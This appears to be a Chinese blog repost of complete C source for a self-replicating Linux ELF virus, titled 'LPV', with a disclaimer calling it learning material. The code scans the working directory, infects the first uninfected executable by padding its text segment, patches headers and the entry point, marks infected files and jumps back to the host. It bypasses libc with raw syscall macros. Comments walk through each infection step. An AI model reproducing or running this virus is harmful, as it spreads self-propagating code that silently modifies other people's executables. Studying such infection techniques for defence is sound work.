1. 程式人生 > >linux病毒 (LPV)

linux病毒 (LPV)

sys seek ebp rcm include sca cmp direct gic

---------感染技術text 段感染,同會時自我復制---------
//=免責聲明=
此代碼純粹是為了學習,非法使用與作者無關!!!
此代碼純粹是為了學習,非法使用與作者無關!!!
此代碼純粹是為了學習,非法使用與作者無關!!!
此代碼純粹是為了學習,非法使用與作者無關!!!
此代碼純粹是為了學習,非法使用與作者無關!!!
此代碼純粹是為了學習,非法使用與作者無關!!!

//在ELF可執行文件內的UNIX病毒感染。
//行為:
//病毒將自身復制到其具有寫入權限的第一個未受感染的可執行文件中,
//因此,病毒每次復制一個可執行文件。病毒寫了一點標記。
//進入它所感染的每一個二進制文件,這樣它就不會再感染它了。目前的病毒
//只感染當前工作目錄內的文件,但可以很容易地修改。
//此病毒在主機內的文本段結束時擴展/創建頁大小填充。
//可執行文件,並將其復制到該位置。原始入口點被修補到啟動寄生蟲,
//在執行後將控制返回主機。 代碼是獨立的,並且通過SysCal宏來躲避LIBC。
//Compile:
//gcc virus.c -o virus -nostdlib
 //-------------------------用到的技術------------------------------------//
// 1.將elf文件頭中的 ehdr->e_shoff 增加xx頁的大小
// 2.定位text 段的 phdr
//   1.將入口點修改為寄生代碼的位置
//   2.ehdr->e_entry=phdr[TEXT].pvaddr+phdr[TEXT].p_filesz
//   3.pvaddr+phdr[TEXT].p_filesz增加寄生代碼的長度值
//   4.將pvaddr+phdr[TEXT].p_memsz 增加寄生代碼的長度值
// 3.對每個 phdr,如果對應的段位於寄生代碼之後,則將phdr[x]p._offset 增加xx頁的大小
// 4.找到 text 段的最後一個shdr,將shdr[x].sh_size 增加寄生代碼的長度值(因為在這個節中將會存放寄生代碼 )
// 5.對每個位於寄生代碼插入位置之後的 shdr,將 shdr[x].sh_offset 增加 xx 頁的大小
// 6.將真正的寄生代碼插入到 text 段的 file_base+phdr[text].p_filesz
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/fcntl.h>
#include <errno.h>
#include <elf.h>
#include <asm/unistd.h>
#include <asm/stat.h>
#define PAGE_SIZE 4096
#define BUF_SIZE 1024
#define TMP "vx.tmp"

void end_code(void);
unsigned long get_eip();
unsigned long old_e_entry;
void end_code(void);
void mirror_binary_with_parasite (unsigned int, unsigned char *, unsigned int,
                   struct stat, char *, unsigned long);

extern int myend;
extern int foobar;
extern int real_start;

//main入口 修改原來的入口指向 do_main
//---------------------------------real_start:----------------------------------//
_start() 
{
__asm__(".globl real_start\n"
    "real_start:\n"
    "pusha\n"
    "call do_main\n"
    "popa\n"
    "jmp myend\n");

}
//註入要執行的代碼
do_main()
{

  struct linux_dirent
  {
          long d_ino;
          off_t d_off;
          unsigned short d_reclen;
          char d_name[];
  };

  char *host;
  char buf[BUF_SIZE];
  char cwd[2];
  struct linux_dirent *d;
  int bpos;
  int dd, nread;

  unsigned char *tp;
  int fd, i, c;
  char text_found;
  mode_t mode;

  struct stat st; 
//偏移
  unsigned long address_of_main = get_eip() - ((char *)&foobar - (char *)&real_start);
//離 do_main大小也就是寄生代碼大小
  unsigned int parasite_size = (char *)&myend - (char *)&real_start;
  parasite_size += 7;

  unsigned long int leap_offset;
  unsigned long parasite_vaddr;
  unsigned int numbytes;

  Elf32_Shdr *s_hdr;
  Elf32_Ehdr *e_hdr;
  Elf32_Phdr *p_hdr;

  unsigned long text;
  int nc; 
  int magic = 32769;
  int m, md;
  text_found = 0;
  unsigned int after_insertion_offset;
  unsigned int end_of_text;

  char infected;

  cwd[0] = ‘.‘;
  cwd[1] = 0;

  dd = open (cwd, O_RDONLY | O_DIRECTORY);

  nread = getdents (dd, buf, BUF_SIZE);
  for (bpos = 0; bpos < nread;) {

    d = (struct linux_dirent *) (buf + bpos);
    bpos += d->d_reclen;

    host = d->d_name;

    if (host[0] == ‘.‘)   
    continue;

    if (host[0] == ‘l‘)
    continue;

    fd = open (d->d_name, O_RDONLY); 

    stat(host, &st);
    char mem[st.st_size];

    infected = 0;
    c = read (fd, mem, st.st_size);

    e_hdr = (Elf32_Ehdr *) mem;
    if (e_hdr->e_ident[0] != 0x7f && strcmp (&e_hdr->e_ident[1], "ELF")) 
    {
           close (fd);
       continue;
    }
    else 
    {
        p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
    for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
    {
        if (p_hdr->p_type == PT_LOAD)
        {
            if (p_hdr->p_flags == (PF_R | PF_X))
            {   
                md = open(d->d_name, O_RDONLY);
                unsigned int pt = (PAGE_SIZE - 4) - parasite_size;
                lseek(md, p_hdr->p_offset + p_hdr->p_filesz + pt, SEEK_SET);
                read(md, &m, sizeof(magic));
                if (m == magic)
                    infected++; 
                close(md);
                break;
            }
        }
    }
    } 

     if (infected)
     {
    close(fd);
        continue; 
     }
     else
     {
         p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
         for (i = e_hdr->e_phnum; i-- > 0; p_hdr++) 
     {
        if (text_found) 
        {
            p_hdr->p_offset += PAGE_SIZE;
            continue;
        }
        else 
        if (p_hdr->p_type == PT_LOAD) 
        {
            if (p_hdr->p_flags == (PF_R | PF_X)) 
            {
                    text = p_hdr->p_vaddr;
                    parasite_vaddr = p_hdr->p_vaddr + p_hdr->p_filesz;
                    old_e_entry = e_hdr->e_entry;
                    e_hdr->e_entry = parasite_vaddr;
                    end_of_text = p_hdr->p_offset + p_hdr->p_filesz;
                    p_hdr->p_filesz += parasite_size; 
                    p_hdr->p_memsz += parasite_size;
                    text_found++;
            }
        }
     }
    } 
    s_hdr = (Elf32_Shdr *) (mem + e_hdr->e_shoff);
    for (i = e_hdr->e_shnum; i-- > 0; s_hdr++) 
    {
          if (s_hdr->sh_offset >= end_of_text)
         s_hdr->sh_offset += PAGE_SIZE;
      else 
      if (s_hdr->sh_size + s_hdr->sh_addr == parasite_vaddr)
         s_hdr->sh_size += parasite_size;
    } 
      //增加 xx頁
      e_hdr->e_shoff += PAGE_SIZE;
      //插入寄生代碼
      mirror_binary_with_parasite (parasite_size, mem, end_of_text, st, host, address_of_main);
      close (fd);
      goto done;
  }
      done:
      close (dd);
  }
 //插入寄生代碼
void
mirror_binary_with_parasite (unsigned int psize, unsigned char *mem,
   unsigned int end_of_text, struct stat st, char *host, unsigned long address_of_main)
{

  int ofd;
  unsigned int c;
  int i, t = 0;
  int magic = 32769;

  char tmp[3];
  tmp[0] = ‘.‘; 
  tmp[1] = ‘v‘;
  tmp[2] = 0;

  char jmp_code[7];

  jmp_code[0] = ‘\x68‘; /* push */
  jmp_code[1] = ‘\x00‘; /* 00   */
  jmp_code[2] = ‘\x00‘; /* 00   */
  jmp_code[3] = ‘\x00‘; /* 00   */
  jmp_code[4] = ‘\x00‘; /* 00   */
  jmp_code[5] = ‘\xc3‘; /* ret */
  jmp_code[6] = 0;

  int return_entry_start = 1;
  ofd = open (tmp, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode);

  write (ofd, mem, end_of_text);
  *(unsigned long *) &jmp_code[1] = old_e_entry;
  write (ofd, (char *)address_of_main, psize - 7);
  write (ofd, jmp_code, 7);

  lseek (ofd, (PAGE_SIZE - 4) - psize, SEEK_CUR); 
  write (ofd, &magic, sizeof(magic));

  mem += end_of_text;

  unsigned int last_chunk = st.st_size - end_of_text;
  write (ofd, mem, last_chunk);
  rename (tmp, host);
  close (ofd);

}
//獲取 eip
unsigned long get_eip(void)
{
  __asm__("call foobar\n"
          ".globl foobar\n"
          "foobar:\n"
          "pop %eax");
}
//---------------------------foobar:----------------------------------//
//系統調用 syscall0
#define __syscall0(type,name) type name(void) { long __res; __asm__ volatile ("int $0x80"         : "=a" (__res)         : "0" (__NR_##name)); return(type)__res; }
//系統調用 syscall1
#define __syscall1(type,name,type1,arg1) type name(type1 arg1) { long __res; __asm__ volatile ("int $0x80"         : "=a" (__res)  : "0" (__NR_##name),"b" ((long)(arg1))); return(type)__res; }

//系統調用 syscall2
#define __syscall2(type,name,type1,arg1,type2,arg2) type name(type1 arg1,type2 arg2) { long __res; __asm__ volatile ("int $0x80"         : "=a" (__res)         : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); return(type)__res; }
//系統調用 syscall3
#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) type name(type1 arg1,type2 arg2,type3 arg3) { long __res; __asm__ volatile ("int $0x80"         : "=a" (__res)         : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)),                   "d" ((long)(arg3))); return(type)__res; }
//系統調用 syscall4
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) { long __res; __asm__ volatile ("int $0x80"         : "=a" (__res)         : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)),           "d" ((long)(arg3)),"S" ((long)(arg4))); return(type)__res; }
//系統調用 syscall5
#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,           type5,arg5) type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) { long __res; __asm__ volatile ("int $0x80"         : "=a" (__res)         : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)),           "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); return(type)__res; }
//系統調用 syscall5
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,           type5,arg5,type6,arg6) type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) { long __res; __asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp"         : "=a" (__res)         : "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)),           "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)),           "0" ((long)(arg6))); return(type),__res; }
//系統調用
__syscall1(void, exit, int, status);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(off_t, lseek, int, fildes, off_t, offset, int, whence);
__syscall2(int, fstat, int, fildes, struct stat * , buf);
__syscall2(int, rename, const char *, old, const char *, new);
__syscall3(int, open, const char *, pathname, int, flags, mode_t, mode);
__syscall1(int, close, int, fd);
__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
__syscall3(int, read, int, fd, void *, buf, size_t, count);
__syscall2(int, stat, const char *, path, struct stat *, buf);
//main end結束
void end_code() {

__asm__(".globl myend\n"
    "myend:      \n"
        "mov $1,%eax \n"
        "mov $0,%ebx \n"
    "int $0x80   \n"); 

}

linux病毒 (LPV)